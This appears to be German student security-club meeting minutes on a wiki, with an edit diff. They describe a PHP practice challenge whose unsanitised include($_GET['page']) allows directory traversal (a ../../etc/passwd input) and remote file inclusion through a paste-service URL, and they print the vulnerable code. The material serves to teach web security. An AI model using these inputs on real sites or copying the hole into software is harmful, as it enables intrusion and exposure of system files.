CInsects/Protokolle/CInsects:Treffen-2010-11-02: Unterschied zwischen den Versionen

Aus Fachschaft_Informatik
Zur Navigation springen Zur Suche springen
(init Hackit1)
(remote code inclusion/execution init)
Zeile 16: Zeile 16:
=== Remote Code Inclusion/Execution ===
=== Remote Code Inclusion/Execution ===


Zudem war es moeglich Quelltext in die Anwendung einzuschleusen und auszufuehren. Das nennt man [http://www.owasp.org/index.php/Code_Injection Remote Code Inclusion/Execution].
Zudem war es moeglich Quelltext in die Anwendung einzuschleusen und auszufuehren. Das nennt man [http://www.owasp.org/index.php/Code_Injection Remote Code Inclusion/Execution]. Man konnte dem HTTP_GET-Parameter auch eine Seite angeben, die nicht auf dem Webserver liegt. Als Beispiel kann man einen Paste-Service verwenden und dort den Quelltext des Exploits hinterlegen und mit einem Link zu dem Exploit einfuegen (?page=<nowiki>http://dpaste.com/</nowiki><Zahl>/plain/). Das ganze funktioniert, weil die Funktion include() Quelltext einfuegt und dieser dann ausgefuehrt wird.


=== Quelltext ===
=== Quelltext ===
Zeile 37: Zeile 37:
</pre>
</pre>
</div>
</div>
<?php edit ?>


== Sonstiges ==
== Sonstiges ==

Version vom 26. Dezember 2010, 21:45 Uhr

Diese Seite ist eine Unterseite von CInsects.

Heute haben wir uns überwiegend mit Remote Code Execution beschäftigt.

Ablauf

Wir haben kurz erklaert was Remote Code Execution ist. Dann haben wir Dreiergruppen gebildet, sodass in jeder Gruppe mindestens einer mit PHP-Kenntnissen war. Anschliessend haben wir uns verschiedene Hackits angeschaut.

Hackit 1

Es war eine Clanseite zu sehen, die eine einfachte Navigation hatte und News oder Members des Clans anzeigte.

Directory Traversal

Es war moeglich ueber den HTTP-GET-Parameter Dateien von dem Server anzeigen zu lassen (?page=../../../../etc/passwd). Diese Sicherheitsluecke nennt sich Directory Traversal.

Remote Code Inclusion/Execution

Zudem war es moeglich Quelltext in die Anwendung einzuschleusen und auszufuehren. Das nennt man Remote Code Inclusion/Execution. Man konnte dem HTTP_GET-Parameter auch eine Seite angeben, die nicht auf dem Webserver liegt. Als Beispiel kann man einen Paste-Service verwenden und dort den Quelltext des Exploits hinterlegen und mit einem Link zu dem Exploit einfuegen (?page=http://dpaste.com/<Zahl>/plain/). Das ganze funktioniert, weil die Funktion include() Quelltext einfuegt und dieser dann ausgefuehrt wird.

Quelltext

<h1>Welcome to our cool clan page!</h1>
<div style="float:left;">
    <ul>
        <li><a href="?page=news.php">News</a></li>
        <li><a href="?page=memberz.php">Memberz</a></li>
    </ul>
</div>
<div id="content" style="margin-left:10em;">
<?php
if(isset($_GET['page'])) {
    include($_GET['page']);
} else {
    include('news.php');
}
?>

Sonstiges

FIXME

Links

  • Weblinks folgen vielleicht